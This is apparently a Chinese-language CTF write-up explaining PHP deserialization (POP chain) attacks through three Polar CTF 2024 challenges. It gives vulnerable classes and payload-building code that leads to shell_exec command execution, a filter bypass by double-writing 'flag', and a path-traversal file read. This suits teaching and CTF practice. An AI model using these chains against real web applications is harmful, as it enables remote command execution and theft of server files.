从Polar CTF 2024春季赛看PHP反序列化:新手也能搞定的三个实战案例解析
从Polar CTF 2024春季赛看PHP反序列化:新手也能搞定的三个实战案例解析
在网络安全领域,CTF比赛一直是技术爱好者检验实战能力的绝佳舞台。Polar CTF 2024春季赛中,PHP反序列化漏洞相关的题目尤为引人注目。这类漏洞在实际Web应用中广泛存在,却常因理解门槛较高让初学者望而却步。本文将以比赛中的三个典型题目为例,带你从零开始掌握PHP反序列化的核心原理和实战技巧。
1. 初识PHP反序列化:魔术方法与POP链构建
PHP反序列化的本质是将序列化的字符串重新转换为PHP对象。在这个过程中,如果类中定义了特定的魔术方法(Magic Methods),这些方法会在特定时机自动触发,成为攻击者可以利用的入口点。
以比赛中的"PHP初试"题目为例,我们观察到以下关键类结构:
class Easy {
public $name;
public function __wakeup() {
echo $this->name;
}
}
class Evil {
public $evil;
private $env;
public function __toString() {
$this->env = shell_exec($this->evil);
return $this->env;
}
}
攻击链构建步骤:
- 识别可利用的魔术方法:
__wakeup()在反序列化时自动调用 - 分析属性控制:
$name属性可控且会被直接输出 - 寻找类型转换点:输出操作会触发
__toString()方法 - 串联调用链:
__wakeup→echo $name→__toString→shell_exec
实际操作中,构造Payload的PHP代码如下:
$a = new Easy();
$a->name = new Evil();
$a->name->evil = 'cat /flag';
echo serialize($a);
注意:实际比赛中需要根据题目环境调整文件路径,常见的flag位置包括/flag、/flag.txt等。
2. 绕过基础防御:双写替换与属性覆盖
在"PHP_Deserialization"题目中,我们遇到了更复杂的场景,其中包含字符串替换过滤:
class Day {
public $filename = "/flag";
public function __toString() {
$this->filename = str_replace("flag", "", $this->filename);
echo file_get_contents($this->filename);
return $this->filename;
}
}
关键绕过技巧:
双写替换绕过 :当检测到"flag"字符串会被删除时,可以使用"flflagag"的形式,经过替换后中间的"flag"被删除,两边的字符重新组合成"flag"。
完整攻击链分析:
| 类名 | 魔术方法 | 触发条件 | 利用方式 |
|---|---|---|---|
| Polar | __wakeup | 反序列化时 | 触发后续调用链 |
| Night | __call | 调用不存在方法时 | 传递参数给目标 |
| Day | __toString | 对象被当作字符串使用时 | 文件读取操作 |
构造Payload时需要注意属性访问权限。当遇到private属性时,序列化字符串中会包含类名前缀,需要特殊处理:
O:3:"Day":1:{s:8:"filename";s:9:"/flflagag";}
3. 复杂POP链实战:PlayGame题目深度解析
"PlayGame"题目展示了一个更复杂的对象关系网,需要理解多层对象引用的构建:
class PlayGame {
public $user;
public $gameFile = "./game";
public function __destruct() {
echo $this->user->name."GameOver!";
}
// ...其他方法...
}
class User {
public $name;
public $age;
public $sex;
public function __toString() {
return "name:".$this->name."age:".$this->age."sex:".$this->$sex;
}
// ...其他方法...
}
分步攻击思路:
- 从
__destruct入手,它会在对象销毁时自动调用 - 追踪
$user->name的调用路径,发现需要触发__toString - 构建对象关系使
$gameFile指向flag路径 - 通过
file_get_contents读取目标文件
对象关系构建代码:
$a = new PlayGame();
$a->user = new stdClass(); // 创建空对象用于属性赋值
$a->user->name = new User();
$a->user->name->name = new PlayGame();
$a->user->name->name->gameFile = '../../../../../flag';
4. 实战调试技巧与常见问题排查
在真实比赛环境中,仅仅构造出Payload往往不够,还需要掌握调试技巧:
序列化字符串调试方法:
- 使用
var_dump(unserialize($payload))检查对象结构 - 逐步构建POP链,验证每个环节是否按预期触发
- 注意PHP版本差异对序列化格式的影响
常见错误与解决方案:
- 属性访问问题 :private/protected属性在序列化时需要特殊格式
- 字符逃逸 :当存在字符串替换时,计算好替换前后的长度变化
- 魔术方法冲突 :多个魔术方法可能相互干扰,需要理清触发顺序
实用调试代码片段:
// 打印对象结构
function inspect($obj) {
echo "Object type: ".get_class($obj)."\n";
foreach(get_object_vars($obj) as $prop => $value) {
echo "$prop: ";
if(is_object($value)) {
inspect($value);
} else {
var_dump($value);
}
}
}
PHP反序列化漏洞的学习需要理论与实践相结合。通过这三个案例,我们不仅理解了基本原理,还掌握了从简单到复杂的POP链构建方法。在CTF比赛之外,这些技能也能帮助我们更好地审计真实Web应用中的安全隐患。
更多推荐


所有评论(0)